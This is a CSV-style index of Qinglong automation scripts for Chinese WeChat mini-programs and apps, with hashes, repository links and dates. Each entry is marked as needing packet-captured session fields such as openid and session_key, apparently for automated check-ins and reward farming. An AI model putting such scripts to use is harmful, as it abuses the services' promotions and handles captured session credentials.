微信小程序/抓包版,T3打车,2025-11-27_T3cx_4855844b.py,4855844be55d826946ef6740a15b9c06a4481a96ef3d996fa2f360fb09cdc878,GitHub,back-101/zyqinglong,T3cx.py,https://github.com/back-101/zyqinglong/blob/main/T3cx.py,https://raw.githubusercontent.com/back-101/zyqinglong/main/T3cx.py,2025-11-27T10:49:43Z,脚本库/微信小程序/抓包版/T3打车/2025-11-27_T3cx_4855844b.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,babycare,2026-05-14_babycare_46258113.js,46258113afa13a0aa29d97ac2d6ba2b28ef58e8ff67ab1d7580a670ef603d5ba,GitHub,smallfawn/QLScriptPublic,daily/babycare.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/babycare.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/babycare.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/babycare/2026-05-14_babycare_46258113.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,cloud189,2025-09-06_cloud189_7c90c2eb.py,7c90c2eb0032873254db7819a42440cd062ae32af3fa537efc7c295c0e1da804,GitHub,lksky8/sign-ql,cloud189.py,https://github.com/lksky8/sign-ql/blob/main/cloud189.py,https://raw.githubusercontent.com/lksky8/sign-ql/main/cloud189.py,2025-09-06T12:51:46Z,脚本库/微信小程序/抓包版/cloud189/2025-09-06_cloud189_7c90c2eb.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,colorful七彩虹,2026-05-14_colorful_cf4ee821.js,cf4ee821d1cebbbb8468b4a7c252b98a5e1b39d9a10f6089bdd659994878055c,GitHub,smallfawn/QLScriptPublic,daily/colorful.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/colorful.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/colorful.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/colorful七彩虹/2026-05-14_colorful_cf4ee821.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,golo汽修大师,2025-08-25_golo_6d8c719f.js,6d8c719f794ba28ac9f4e910cbcb6a4ad51d2898b88417781747992f35518128,GitHub,imoki/sign_script,polymerization/golo.js,https://github.com/imoki/sign_script/blob/main/polymerization/golo.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/golo.js,2025-08-25T21:29:14+08:00,脚本库/微信小程序/抓包版/golo汽修大师/2025-08-25_golo_6d8c719f.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,iqoo社区,2026-05-14_iqoo_43b07ea6.js,43b07ea6d2f3f5b0a428cb2e5a0fce75e64589151300405fe4d9e6627a107548,GitHub,smallfawn/QLScriptPublic,daily/iqoo.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/iqoo.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/iqoo.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/iqoo社区/2026-05-14_iqoo_43b07ea6.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,jtc,2025-10-26_jtc_d7fa5acd_2.py,d7fa5acdc107ddb45fd772c4bb0c9491fd48e8e3d7d18ae5a4286579151676ef,GitHub,lksky8/sign-ql,jtc.py,https://github.com/lksky8/sign-ql/blob/main/jtc.py,https://raw.githubusercontent.com/lksky8/sign-ql/main/jtc.py,2025-10-26T12:24:47Z,脚本库/微信小程序/抓包版/jtc/2025-10-26_jtc_d7fa5acd_2.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,quanmianshidai,2026-05-14_quanmianshidai_56f3c63c.py,56f3c63c9d017a36fce2f78f3b461dcf8fb453537a300b8da039ff71d568c9a1,GitHub,smallfawn/QLScriptPublic,wxapp/quanmianshidai.py,https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/quanmianshidai.py,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/quanmianshidai.py,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/quanmianshidai/2026-05-14_quanmianshidai_56f3c63c.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,self.gift_list.appendgift_name,2025-06-28_爱奇艺_857e9674.py,857e96745c59151247fd475ff5a59f974c26d8d4fdac7db5e0938d1241378509,GitHub,jdqlscript/toulu,爱奇艺.py,https://gitee.com/jdqlscript/toulu/blob/main/%E7%88%B1%E5%A5%87%E8%89%BA.py,https://gitee.com/jdqlscript/toulu/raw/main/%E7%88%B1%E5%A5%87%E8%89%BA.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/self.gift_list.appendgift_name/2025-06-28_爱奇艺_857e9674.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,steam游戏在线人数,2025-08-25_streamrank_34d2cdec.js,34d2cdec035cfcd5362b92be3983a08342f218868048f203a58ed85522258e12,GitHub,imoki/sign_script,polymerization/streamrank.js,https://github.com/imoki/sign_script/blob/main/polymerization/streamrank.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/streamrank.js,2025-08-25T21:29:14+08:00,脚本库/微信小程序/抓包版/steam游戏在线人数/2025-08-25_streamrank_34d2cdec.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,stokke小程序,2026-05-14_stokke_1e4d7ea7.js,1e4d7ea79b5853ad7ec5db7de29a5a427f36451ddc33e75cb713e2cefda272ad,GitHub,smallfawn/QLScriptPublic,wxapp/stokke.js,https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/stokke.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/stokke.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/stokke小程序/2026-05-14_stokke_1e4d7ea7.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,"str,_actparam_str_-_dict",2026-04-01_tianyi_b953df84.py,b953df84d60d64163160620c6cddf66ccca375f3794ca42dff66c46d48401660,GitHub,smallfawn/QLScriptPublic,tianyi.py,https://github.com/smallfawn/QLScriptPublic/blob/main/tianyi.py,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/tianyi.py,2026-04-01T11:27:33Z,"脚本库/微信小程序/抓包版/str,_actparam_str_-_dict/2026-04-01_tianyi_b953df84.py",抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,this官方商城,2025-06-28_this官方商城_7916a729.js,7916a72936d4a9aacda86d9ab03280f95d2d9d04e8e84383fb0829be122e04cd,GitHub,jdqlscript/toulu,this官方商城.js,https://gitee.com/jdqlscript/toulu/blob/main/this%E5%AE%98%E6%96%B9%E5%95%86%E5%9F%8E.js,https://gitee.com/jdqlscript/toulu/raw/main/this%E5%AE%98%E6%96%B9%E5%95%86%E5%9F%8E.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/this官方商城/2025-06-28_this官方商城_7916a729.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,topspace,2025-06-28_topspace小程序_0c2cf24e.py,0c2cf24eeedde16a73bd6ff8f3dd0b86507004dcbd7def57502e5f3d8b644612,GitHub,jdqlscript/toulu,topspace小程序.py,https://gitee.com/jdqlscript/toulu/blob/main/topspace%E5%B0%8F%E7%A8%8B%E5%BA%8F.py,https://gitee.com/jdqlscript/toulu/raw/main/topspace%E5%B0%8F%E7%A8%8B%E5%BA%8F.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/topspace/2025-06-28_topspace小程序_0c2cf24e.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,vx爷爷不泡茶,2025-06-28_爷爷不泡茶_2e5d48ac.js,2e5d48ac7842d46057beda28f0f2400ae9722581a1bc925657b2a8b8746c99d1,GitHub,jdqlscript/toulu,爷爷不泡茶.js,https://gitee.com/jdqlscript/toulu/blob/main/%E7%88%B7%E7%88%B7%E4%B8%8D%E6%B3%A1%E8%8C%B6.js,https://gitee.com/jdqlscript/toulu/raw/main/%E7%88%B7%E7%88%B7%E4%B8%8D%E6%B3%A1%E8%8C%B6.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/vx爷爷不泡茶/2025-06-28_爷爷不泡茶_2e5d48ac.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,vx麦斯威尔福利社,2025-06-28_vx麦斯威尔福利社_2d125158.js,2d125158015bb15705f795625ddd527706762d790cb366f1d33096f492605f71,GitHub,jdqlscript/toulu,vx麦斯威尔福利社.js,https://gitee.com/jdqlscript/toulu/blob/main/vx%E9%BA%A6%E6%96%AF%E5%A8%81%E5%B0%94%E7%A6%8F%E5%88%A9%E7%A4%BE.js,https://gitee.com/jdqlscript/toulu/raw/main/vx%E9%BA%A6%E6%96%AF%E5%A8%81%E5%B0%94%E7%A6%8F%E5%88%A9%E7%A4%BE.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/vx麦斯威尔福利社/2025-06-28_vx麦斯威尔福利社_2d125158.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 微信小程序/抓包版,wb,2022-11-27_wb_62c39a99.js,62c39a9906dbe79d4d2783f7ded07c76ebde306d87e18cb6e11dcb9de8a9b54c,GitHub,Wenmoux/checkbox,scripts/wb.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/wb.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/wb.js,2022-11-27T14:39:31Z,脚本库/微信小程序/抓包版/wb/2022-11-27_wb_62c39a99.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,wcs,2026-05-14_wcs_d9b348ca.js,d9b348cac05cc8da8c9155c9b46a421f1ba392f2982930f6f89d7636709ee6d5,GitHub,smallfawn/QLScriptPublic,wxapp/wcs.js,https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/wcs.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/wcs.js,2026-05-14T07:10:35Z,脚本库/微信小程序/抓包版/wcs/2026-05-14_wcs_d9b348ca.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,zhanma,2026-05-14_zhanma_b8ab91bd.js,b8ab91bdb567de645e0640663f742f0ec637dd7e96a4b81a517f1f210b566761,GitHub,smallfawn/QLScriptPublic,wxapp/zhanma.js,https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/zhanma.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/zhanma.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/zhanma/2026-05-14_zhanma_b8ab91bd.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,七彩虹商城,2025-06-28_七彩虹商城小程序_761e10f7.js,761e10f77b7a58ee38634d789e6bdbd7af6caa8e9c4643480d40aa2ca436a85b,GitHub,jdqlscript/toulu,七彩虹商城小程序.js,https://gitee.com/jdqlscript/toulu/blob/main/%E4%B8%83%E5%BD%A9%E8%99%B9%E5%95%86%E5%9F%8E%E5%B0%8F%E7%A8%8B%E5%BA%8F.js,https://gitee.com/jdqlscript/toulu/raw/main/%E4%B8%83%E5%BD%A9%E8%99%B9%E5%95%86%E5%9F%8E%E5%B0%8F%E7%A8%8B%E5%BA%8F.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/七彩虹商城/2025-06-28_七彩虹商城小程序_761e10f7.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,七点五饮用天然矿泉水,2025-06-28_七点五饮用天然矿泉水_d6fe4967.py,d6fe496720c54bd714a265dd36c0db3b70649d76a897a147a438523118d014fc,GitHub,jdqlscript/toulu,七点五饮用天然矿泉水.py,https://gitee.com/jdqlscript/toulu/blob/main/%E4%B8%83%E7%82%B9%E4%BA%94%E9%A5%AE%E7%94%A8%E5%A4%A9%E7%84%B6%E7%9F%BF%E6%B3%89%E6%B0%B4.py,https://gitee.com/jdqlscript/toulu/raw/main/%E4%B8%83%E7%82%B9%E4%BA%94%E9%A5%AE%E7%94%A8%E5%A4%A9%E7%84%B6%E7%9F%BF%E6%B3%89%E6%B0%B4.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/七点五饮用天然矿泉水/2025-06-28_七点五饮用天然矿泉水_d6fe4967.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,中国联通,2026-05-14_chinaUnicom_286fe16d.py,286fe16df14547f1b6a2c3270231fef18ad5b57df127df8f0a76abb0efcb44e1,GitHub,smallfawn/QLScriptPublic,daily/chinaUnicom.py,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/chinaUnicom.py,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/chinaUnicom.py,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/中国联通/2026-05-14_chinaUnicom_286fe16d.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,产地严选小程序,2025-06-28_产地严选小程序_f81d5d95.py,f81d5d959073dedc5f43a7d1259f4c5da22afbe0d6295f367a72e41c779a59b6,GitHub,jdqlscript/toulu,产地严选小程序.py,https://gitee.com/jdqlscript/toulu/blob/main/%E4%BA%A7%E5%9C%B0%E4%B8%A5%E9%80%89%E5%B0%8F%E7%A8%8B%E5%BA%8F.py,https://gitee.com/jdqlscript/toulu/raw/main/%E4%BA%A7%E5%9C%B0%E4%B8%A5%E9%80%89%E5%B0%8F%E7%A8%8B%E5%BA%8F.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/产地严选小程序/2025-06-28_产地严选小程序_f81d5d95.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,全棉时代,2025-06-28_全棉时代_78833e2a.js,78833e2a1ea602df34a3a8b99a3962eb2e64253bcc8b9f455461d25bef894e29,GitHub,jdqlscript/toulu,全棉时代.js,https://gitee.com/jdqlscript/toulu/blob/main/%E5%85%A8%E6%A3%89%E6%97%B6%E4%BB%A3.js,https://gitee.com/jdqlscript/toulu/raw/main/%E5%85%A8%E6%A3%89%E6%97%B6%E4%BB%A3.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/全棉时代/2025-06-28_全棉时代_78833e2a.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,兴攀农场,2025-08-25_xpnc_5f222c85.js,5f222c850c676d4dcacef68789330db2b8e79dbc011d2bad6385aa5864814e0b,GitHub,imoki/sign_script,polymerization/xpnc.js,https://github.com/imoki/sign_script/blob/main/polymerization/xpnc.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/xpnc.js,2025-08-25T21:29:14+08:00,脚本库/微信小程序/抓包版/兴攀农场/2025-08-25_xpnc_5f222c85.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,华住会,2025-08-25_ql_hzh_0b396713.js,0b396713e2a1cb3519bc93943a268f750d7fa4145f3ed26feafefbab7639cfd3,GitHub,imoki/sign_script,polymerization/ql_hzh.js,https://github.com/imoki/sign_script/blob/main/polymerization/ql_hzh.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_hzh.js,2025-08-25T21:29:14+08:00,脚本库/微信小程序/抓包版/华住会/2025-08-25_ql_hzh_0b396713.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,华硕商城APP,2025-06-28_华硕商城每日抽奖_5317a9e9.js,5317a9e967ef13e67c90236beb71a3118e20d5d9d4c4fbbb90a03ef9c43eb9b0,GitHub,jdqlscript/toulu,华硕商城每日抽奖.js,https://gitee.com/jdqlscript/toulu/blob/main/%E5%8D%8E%E7%A1%95%E5%95%86%E5%9F%8E%E6%AF%8F%E6%97%A5%E6%8A%BD%E5%A5%96.js,https://gitee.com/jdqlscript/toulu/raw/main/%E5%8D%8E%E7%A1%95%E5%95%86%E5%9F%8E%E6%AF%8F%E6%97%A5%E6%8A%BD%E5%A5%96.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/华硕商城APP/2025-06-28_华硕商城每日抽奖_5317a9e9.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,卡士会员,2025-06-28_卡士会员_12456cea.js,12456cea70a10056a5a4cb92e709b3be05e67040aee64bb6cb28fa6ad1cd8ae5,GitHub,jdqlscript/toulu,卡士会员.js,https://gitee.com/jdqlscript/toulu/blob/main/%E5%8D%A1%E5%A3%AB%E4%BC%9A%E5%91%98.js,https://gitee.com/jdqlscript/toulu/raw/main/%E5%8D%A1%E5%A3%AB%E4%BC%9A%E5%91%98.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/卡士会员/2025-06-28_卡士会员_12456cea.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,卡池权益会员店,2025-06-28_卡池_7ffef781.js,7ffef7815aada424678a6cc559ac4d9318ca57065da1994daef5ca0f114d7c1d,GitHub,jdqlscript/toulu,卡池.js,https://gitee.com/jdqlscript/toulu/blob/main/%E5%8D%A1%E6%B1%A0.js,https://gitee.com/jdqlscript/toulu/raw/main/%E5%8D%A1%E6%B1%A0.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/卡池权益会员店/2025-06-28_卡池_7ffef781.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,古井贡酒会员中心小程序,2025-06-28_古井贡酒_aab5faf3.js,aab5faf38a6294571100a8a47ad85267bd866dab298cf20c05ed11350fb3f7cc,GitHub,jdqlscript/toulu,古井贡酒.js,https://gitee.com/jdqlscript/toulu/blob/main/%E5%8F%A4%E4%BA%95%E8%B4%A1%E9%85%92.js,https://gitee.com/jdqlscript/toulu/raw/main/%E5%8F%A4%E4%BA%95%E8%B4%A1%E9%85%92.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/古井贡酒会员中心小程序/2025-06-28_古井贡酒_aab5faf3.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,叮当快药,2026-04-08_ddsy_fe6024e5.js,fe6024e5df3346dc299105afad55186525603469161422bd75b8172e97cde086,GitHub,smallfawn/QLScriptPublic,daily/ddsy.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/ddsy.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/ddsy.js,2026-04-08T12:07:12Z,脚本库/微信小程序/抓包版/叮当快药/2026-04-08_ddsy_fe6024e5.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,可口可乐小程序,2026-05-14_kekoukele_a6adebfb.js,a6adebfbf1d5fd5ca3a0211939913a9473d53d96cf256c371711c17bdcc3c319,GitHub,smallfawn/QLScriptPublic,wxapp/kekoukele.js,https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/kekoukele.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/kekoukele.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/可口可乐小程序/2026-05-14_kekoukele_a6adebfb.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,吉利银河,2026-04-01_jlyh_374b7879.js,374b7879e8b8e4f6d3ebc15a5585c52c1fedf363edb271c3e6f1d67d3ae1d84b,GitHub,smallfawn/QLScriptPublic,jlyh.js,https://github.com/smallfawn/QLScriptPublic/blob/main/jlyh.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/jlyh.js,2026-04-01T11:27:33Z,脚本库/微信小程序/抓包版/吉利银河/2026-04-01_jlyh_374b7879.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,国乐酱酒,2026-04-08_gyjj_89d63434.js,89d6343472de9993efc290b2dd448a0da6d327c2ea31e53fb6dc8b451f1a5e9c,GitHub,smallfawn/QLScriptPublic,daily/gyjj.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/gyjj.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/gyjj.js,2026-04-08T12:04:40Z,脚本库/微信小程序/抓包版/国乐酱酒/2026-04-08_gyjj_89d63434.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,塔斯汀小程序签到,2026-05-14_tasiting_d32ead35.js,d32ead35937ae6723c6872053340096b4a6f2beb7da4aabccef948835ccf9ca0,GitHub,smallfawn/QLScriptPublic,daily/tasiting.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/tasiting.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/tasiting.js,2026-05-14T17:47:57+08:00,脚本库/微信小程序/抓包版/塔斯汀小程序签到/2026-05-14_tasiting_d32ead35.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,塔斯汀汉堡,2025-06-03_tsthb_607a26fc.py,607a26fc9478a54dc474d3b6af1fde04596f9b31ba62eb1824d0b55f3162ef6d,GitHub,jdqlscript/zyqinglong,tsthb.py,https://gitee.com/jdqlscript/zyqinglong/blob/main/tsthb.py,https://gitee.com/jdqlscript/zyqinglong/raw/main/tsthb.py,2025-06-03T12:08:50+08:00,脚本库/微信小程序/抓包版/塔斯汀汉堡/2025-06-03_tsthb_607a26fc.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,奇点积分,2025-06-28_奇点积分_a8391dc9.py,a8391dc9e2d8cd9ec502d0e6806e3ce99971e248d03d00d13807e59e8a0e383c,GitHub,jdqlscript/toulu,奇点积分.py,https://gitee.com/jdqlscript/toulu/blob/main/%E5%A5%87%E7%82%B9%E7%A7%AF%E5%88%86.py,https://gitee.com/jdqlscript/toulu/raw/main/%E5%A5%87%E7%82%B9%E7%A7%AF%E5%88%86.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/奇点积分/2025-06-28_奇点积分_a8391dc9.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,好宝贝,2025-06-28_好宝贝_2194acca.py,2194acca5f795b099cd512c9f7d04337b56c29bc30c88fa01e38276911af7df1,GitHub,jdqlscript/toulu,好宝贝.py,https://gitee.com/jdqlscript/toulu/blob/main/%E5%A5%BD%E5%AE%9D%E8%B4%9D.py,https://gitee.com/jdqlscript/toulu/raw/main/%E5%A5%BD%E5%AE%9D%E8%B4%9D.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/好宝贝/2025-06-28_好宝贝_2194acca.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,媓钻小程序,2025-06-28_媓钻小程序_85b516e6.js,85b516e6722480c67d37d7e5060eacb32fab911bc1497ac16a1e453c3ae0e71d,GitHub,jdqlscript/toulu,媓钻小程序.js,https://gitee.com/jdqlscript/toulu/blob/main/%E5%AA%93%E9%92%BB%E5%B0%8F%E7%A8%8B%E5%BA%8F.js,https://gitee.com/jdqlscript/toulu/raw/main/%E5%AA%93%E9%92%BB%E5%B0%8F%E7%A8%8B%E5%BA%8F.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/媓钻小程序/2025-06-28_媓钻小程序_85b516e6.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,富士instax玩拍由我俱乐部,2025-06-28_富士instax玩拍由我俱乐部_41c9289f.js,41c9289f9387758603acba6c6dbae3067a176dbe23fec03fa97c8458575d21cb,GitHub,jdqlscript/toulu,富士instax玩拍由我俱乐部.js,https://gitee.com/jdqlscript/toulu/blob/main/%E5%AF%8C%E5%A3%ABinstax%E7%8E%A9%E6%8B%8D%E7%94%B1%E6%88%91%E4%BF%B1%E4%B9%90%E9%83%A8.js,https://gitee.com/jdqlscript/toulu/raw/main/%E5%AF%8C%E5%A3%ABinstax%E7%8E%A9%E6%8B%8D%E7%94%B1%E6%88%91%E4%BF%B1%E4%B9%90%E9%83%A8.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/富士instax玩拍由我俱乐部/2025-06-28_富士instax玩拍由我俱乐部_41c9289f.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,小天鹅,2025-06-28_小天鹅_73a76dd9.py,73a76dd9d2c0924196e2f94ca8e1011b8e70db0010a37d6e48820a079e6cee9d,GitHub,jdqlscript/toulu,小天鹅.py,https://gitee.com/jdqlscript/toulu/blob/main/%E5%B0%8F%E5%A4%A9%E9%B9%85.py,https://gitee.com/jdqlscript/toulu/raw/main/%E5%B0%8F%E5%A4%A9%E9%B9%85.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/小天鹅/2025-06-28_小天鹅_73a76dd9.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,小猴工具小程序,2025-06-28_小猴工具小程序_23314730.js,233147302aa851148dfb5aba682d5cbd418b833a6102d89d969e6177da74a610,GitHub,jdqlscript/toulu,小猴工具小程序.js,https://gitee.com/jdqlscript/toulu/blob/main/%E5%B0%8F%E7%8C%B4%E5%B7%A5%E5%85%B7%E5%B0%8F%E7%A8%8B%E5%BA%8F.js,https://gitee.com/jdqlscript/toulu/raw/main/%E5%B0%8F%E7%8C%B4%E5%B7%A5%E5%85%B7%E5%B0%8F%E7%A8%8B%E5%BA%8F.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/小猴工具小程序/2025-06-28_小猴工具小程序_23314730.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,小米社区小程序签到,2025-06-28_小米社区小程序签到_3c6fe4df.py,3c6fe4dfa4e8ed6ec83d117595336e599be3b579d2ce6bbacfcca434a94ec800,GitHub,jdqlscript/toulu,小米社区小程序签到.py,https://gitee.com/jdqlscript/toulu/blob/main/%E5%B0%8F%E7%B1%B3%E7%A4%BE%E5%8C%BA%E5%B0%8F%E7%A8%8B%E5%BA%8F%E7%AD%BE%E5%88%B0.py,https://gitee.com/jdqlscript/toulu/raw/main/%E5%B0%8F%E7%B1%B3%E7%A4%BE%E5%8C%BA%E5%B0%8F%E7%A8%8B%E5%BA%8F%E7%AD%BE%E5%88%B0.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/小米社区小程序签到/2025-06-28_小米社区小程序签到_3c6fe4df.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,屈臣氏,2025-08-25_qcs_ab94ff3b.js,ab94ff3b2ee74d7196a373051f02b18694cfbb528b929f842c1d70b6d80e12e7,GitHub,imoki/sign_script,polymerization/qcs.js,https://github.com/imoki/sign_script/blob/main/polymerization/qcs.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/qcs.js,2025-08-25T21:29:14+08:00,脚本库/微信小程序/抓包版/屈臣氏/2025-08-25_qcs_ab94ff3b.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,巨量ip_Sign,2025-06-28_巨量ip_Sign_0fe9136c.py,0fe9136c554fc34b8f6e1e10f96ac9096fbf27a419b6866e41c90285ab4cdf05,GitHub,jdqlscript/toulu,巨量ip_Sign.py,https://gitee.com/jdqlscript/toulu/blob/main/%E5%B7%A8%E9%87%8Fip_Sign.py,https://gitee.com/jdqlscript/toulu/raw/main/%E5%B7%A8%E9%87%8Fip_Sign.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/巨量ip_Sign/2025-06-28_巨量ip_Sign_0fe9136c.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,广汽丰田,2026-04-01_gqftbz_bb6ab4b5.js,bb6ab4b50667970448a65072d2bc5d7bb542f9881aa47823602c338c2c579701,GitHub,smallfawn/QLScriptPublic,gqftbz.js,https://github.com/smallfawn/QLScriptPublic/blob/main/gqftbz.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/gqftbz.js,2026-04-01T11:27:33Z,脚本库/微信小程序/抓包版/广汽丰田/2026-04-01_gqftbz_bb6ab4b5.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,广汽传祺,2025-06-28_gacmotor_a6c7c219.js,a6c7c21986254d8b1bb981deb2cc482d063e770eb4f0b3dcd57f724419cf5b9d,GitHub,jdqlscript/toulu,gacmotor.js,https://gitee.com/jdqlscript/toulu/blob/main/gacmotor.js,https://gitee.com/jdqlscript/toulu/raw/main/gacmotor.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/广汽传祺/2025-06-28_gacmotor_a6c7c219.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 